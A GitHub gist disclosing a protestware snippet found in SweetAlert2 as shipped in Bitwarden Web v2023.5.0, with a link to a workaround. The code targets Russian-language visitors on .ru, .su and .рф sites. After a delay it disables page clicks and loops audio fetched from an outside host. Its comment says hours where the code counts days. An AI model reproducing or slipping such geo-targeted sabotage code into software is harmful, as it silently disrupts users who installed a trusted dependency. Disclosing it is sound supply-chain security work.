Last active
September 13, 2023 03:52
-
-
Save lukateras/1adaf6173f13875cbd49303009f4ef31 to your computer and use it in GitHub Desktop.
SweetAlert2 protestware snippet from Bitwarden Web v2023.5.0
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if ("undefined" != typeof window && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) { | |
var pi = new Date, | |
mi = localStorage.getItem("swal-initiation"); | |
// If three hours have passed since SweetAlert2 has first seen the origin... | |
// https://developer.mozilla.org/docs/Glossary/Origin | |
mi ? (pi.getTime() - Date.parse(mi)) / 864e5 > 3 && setTimeout((function() { | |
document.body.style.pointerEvents = "none"; | |
var e = document.createElement("audio"); | |
e.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3", | |
e.loop = !0, | |
document.body.appendChild(e), setTimeout((function() { | |
e.play().catch((function() {})) | |
}), 2500) | |
}), 500) : /* ... */ null | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
See the workaround: bitwarden/clients#5734 (comment)